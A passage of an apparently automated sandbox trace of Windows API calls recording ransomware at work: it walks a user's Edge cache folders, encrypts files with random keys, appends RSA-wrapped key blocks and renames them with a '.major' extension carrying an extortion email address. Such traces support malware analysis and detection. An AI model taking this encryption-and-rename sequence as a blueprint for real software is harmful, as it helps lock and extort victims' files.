ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x2abf9bf4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0193.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0193.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b788 | out: hHeap=0x570000) returned 1 [0193.740] GetLastError () returned 0x0 [0193.740] SetLastError (dwErrCode=0x0) [0193.740] GetLastError () returned 0x0 [0193.740] SetLastError (dwErrCode=0x0) [0193.740] GetLastError () returned 0x0 [0193.740] SetLastError (dwErrCode=0x0) [0193.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be420 | out: hHeap=0x570000) returned 1 [0193.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f87668 | out: hHeap=0x570000) returned 1 [0193.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0193.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657000 | out: hHeap=0x570000) returned 1 [0193.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0193.740] FindNextFileW (in: hFindFile=0x2f873a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf542405, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf542405, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf542405, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0193.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0193.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b458 | out: hHeap=0x570000) returned 1 [0193.740] GetLastError () returned 0x0 [0193.740] SetLastError (dwErrCode=0x0) [0193.740] GetLastError () returned 0x0 [0193.740] SetLastError (dwErrCode=0x0) [0193.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0193.740] GetLastError () returned 0x0 [0193.740] SetLastError (dwErrCode=0x0) [0193.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657000 | out: hHeap=0x570000) returned 1 [0193.741] FindNextFileW (in: hFindFile=0x2f873a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe0889c9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x31bb6535, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x132e5, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="IECompatData.xml", cAlternateFileName="IECOMP~1.XML")) returned 1 [0193.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0193.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0193.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0193.741] GetLastError () returned 0x0 [0193.741] SetLastError (dwErrCode=0x0) [0193.741] GetLastError () returned 0x0 [0193.741] SetLastError (dwErrCode=0x0) [0193.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0193.741] GetLastError () returned 0x0 [0193.741] SetLastError (dwErrCode=0x0) [0193.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0193.741] FindNextFileW (in: hFindFile=0x2f873a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2abf9bf4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2abf9bf4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2abf9bf4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0193.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0193.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0193.741] GetLastError () returned 0x0 [0193.741] SetLastError (dwErrCode=0x0) [0193.741] GetLastError () returned 0x0 [0193.741] SetLastError (dwErrCode=0x0) [0193.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0193.741] GetLastError () returned 0x0 [0193.741] SetLastError (dwErrCode=0x0) [0193.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f60 | out: hHeap=0x570000) returned 1 [0193.741] FindNextFileW (in: hFindFile=0x2f873a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2abf9bf4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2abf9bf4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2abf9bf4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0193.741] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0193.742] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml", dwFileAttributes=0x80) returned 1 [0193.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66b9d8 | out: hHeap=0x570000) returned 1 [0193.742] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\iecompatdata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa14 [0193.743] GetFileSizeEx (in: hFile=0xa14, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=78565) returned 1 [0193.743] ReadFile (in: hFile=0xa14, lpBuffer=0x2f8b890, nNumberOfBytesToRead=0x132e5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8b890*, lpNumberOfBytesRead=0x2e3f9b4*=0x132e5, lpOverlapped=0x0) returned 1 [0193.785] SetFilePointer (in: hFile=0xa14, lDistanceToMove=-78565, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.785] WriteFile (in: hFile=0xa14, lpBuffer=0x2f9eb80*, nNumberOfBytesToWrite=0x132e5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9eb80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x132e5, lpOverlapped=0x0) returned 1 [0193.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b890 | out: hHeap=0x570000) returned 1 [0193.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f9eb80 | out: hHeap=0x570000) returned 1 [0193.785] SetFilePointer (in: hFile=0xa14, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x132e5 [0193.785] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.785] WriteFile (in: hFile=0xa14, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.786] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0193.786] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0193.786] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0193.786] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="fNh87tsyYrxo3rZQ7JeuYmZIWrvfBRkjAkTtZp+dxLZwnXRCzhPaUic8xq1iFCK8\n7X86FkQQK3N2qMa+USz0+9tVlbmB9i32D7Zm2JnmMBWQ4iLunZSdhVsXN+RoLQVO\n02tV1m1rwV1kg2cC0aKBv5OfYlPoYVhhpfv+Ib/sg4nwJ0svYYmLcLw3//90Jkkb\nnaGaIPrcMh7gS0J3Zs1hmnmZBMxv3PVO3RYytKs871YaO7OIhPBM0GEmozXGXSM9\nr8UNE2MOTnGSGN8DYA39/H3n/KtFmCaaDIDbjeKXir1h26AxIYW4TfrSv8c85kiL\nk6O6plRcoiNasOTuzVgxZQ==\n", pcchString=0x2e3f9a8) returned 1 [0193.786] WriteFile (in: hFile=0xa14, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0193.786] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.786] WriteFile (in: hFile=0xa14, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.786] CloseHandle (hObject=0xa14) returned 1 [0193.787] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0193.787] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\iecompatdata.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\iecompatdata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0193.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0193.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f60 | out: hHeap=0x570000) returned 1 [0193.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66cb90 | out: hHeap=0x570000) returned 1 [0193.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66c4d0 | out: hHeap=0x570000) returned 1 [0193.825] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0193.825] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\container.dat", dwFileAttributes=0x80) returned 1 [0193.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66c098 | out: hHeap=0x570000) returned 1 [0193.825] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa14 [0193.825] GetFileSizeEx (in: hFile=0xa14, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0193.825] ReadFile (in: hFile=0xa14, lpBuffer=0x59d2d0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0193.826] SetFilePointer (in: hFile=0xa14, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.826] WriteFile (in: hFile=0xa14, lpBuffer=0x59d2f0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0193.826] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2d0 | out: hHeap=0x570000) returned 1 [0193.826] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0193.826] SetFilePointer (in: hFile=0xa14, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0193.826] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.826] WriteFile (in: hFile=0xa14, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.827] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0193.827] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0193.827] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0193.827] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="4bxIOQvYR8jKWyTKh+ndtMSwWnIFnqOwMErSsaGXmUhcsky1k0tU5eauxaWtD7sx\nsqExAl4Hkx5RsCIrbYnRFKPJe/GNORtjDTFQisr5eYiXJuyDscyjwdqQ/duTuEnU\nG+zDhCgc29rrYKUuxATIoPF0oUXo78MDI6DzUAXlvGO5CZHojiCVs4+riAzTg+Sn\nl5aGvSMbpeEm91pHPeM/LNN07aMhSfao8ehEvy3X+//7+A1MhVlKY9seQSwOlFi/\nrBxik/scVPxVJyZFYbRj41aw47bBKh1zXWxObB7oOaUZQGJdU37x1scXw2IQOyWA\nfxkn8CEtFW+JYTd2/7F4AQ==\n", pcchString=0x2e3f9a8) returned 1 [0193.827] WriteFile (in: hFile=0xa14, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0193.827] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.827] WriteFile (in: hFile=0xa14, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.827] CloseHandle (hObject=0xa14) returned 1 [0193.827] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0193.827] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0193.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0193.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0193.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66bfc0 | out: hHeap=0x570000) returned 1 [0193.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66c908 | out: hHeap=0x570000) returned 1 [0193.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0193.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0728 | out: hHeap=0x570000) returned 1 [0193.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656a60 | out: hHeap=0x570000) returned 1 [0193.829] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2abf9bf4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f875a8 [0193.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0193.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0193.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b0a0 | out: hHeap=0x570000) returned 1 [0193.829] GetLastError () returned 0x0 [0193.829] SetLastError (dwErrCode=0x0) [0193.829] GetLastError () returned 0x0 [0193.829] SetLastError (dwErrCode=0x0) [0193.829] GetLastError () returned 0x0 [0193.829] SetLastError (dwErrCode=0x0) [0193.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5becb8 | out: hHeap=0x570000) returned 1 [0193.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f87368 | out: hHeap=0x570000) returned 1 [0193.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40588 | out: hHeap=0x570000) returned 1 [0193.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6569e8 | out: hHeap=0x570000) returned 1 [0193.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0193.830] FindNextFileW (in: hFindFile=0x2f875a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2abf9bf4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0193.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0193.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0193.830] GetLastError () returned 0x0 [0193.830] SetLastError (dwErrCode=0x0) [0193.830] GetLastError () returned 0x0 [0193.830] SetLastError (dwErrCode=0x0) [0193.830] GetLastError () returned 0x0 [0193.830] SetLastError (dwErrCode=0x0) [0193.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb00 | out: hHeap=0x570000) returned 1 [0193.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f874e8 | out: hHeap=0x570000) returned 1 [0193.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403d8 | out: hHeap=0x570000) returned 1 [0193.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6569c0 | out: hHeap=0x570000) returned 1 [0193.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0193.830] FindNextFileW (in: hFindFile=0x2f875a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0193.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0193.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0193.830] GetLastError () returned 0x0 [0193.830] SetLastError (dwErrCode=0x0) [0193.830] GetLastError () returned 0x0 [0193.830] SetLastError (dwErrCode=0x0) [0193.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0193.830] GetLastError () returned 0x0 [0193.830] SetLastError (dwErrCode=0x0) [0193.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6569c0 | out: hHeap=0x570000) returned 1 [0193.830] FindNextFileW (in: hFindFile=0x2f875a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2abf9bf4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2abf9bf4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2abf9bf4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.831] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0193.831] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0193.831] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af08 | out: hHeap=0x570000) returned 1 [0193.831] GetLastError () returned 0x0 [0193.831] SetLastError (dwErrCode=0x0) [0193.831] GetLastError () returned 0x0 [0193.831] SetLastError (dwErrCode=0x0) [0193.831] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0193.831] GetLastError () returned 0x0 [0193.831] SetLastError (dwErrCode=0x0) [0193.831] FindNextFileW (in: hFindFile=0x2f875a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2abf9bf4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2abf9bf4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2abf9bf4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0193.831] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0193.831] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\container.dat", dwFileAttributes=0x80) returned 1 [0193.831] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompatua\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa18 [0193.832] GetFileSizeEx (in: hFile=0xa18, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0193.832] ReadFile (in: hFile=0xa18, lpBuffer=0x59d370, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d370*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0193.832] SetFilePointer (in: hFile=0xa18, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.832] WriteFile (in: hFile=0xa18, lpBuffer=0x59d2a0*, nNumberOfBytesToWrite=0x0, 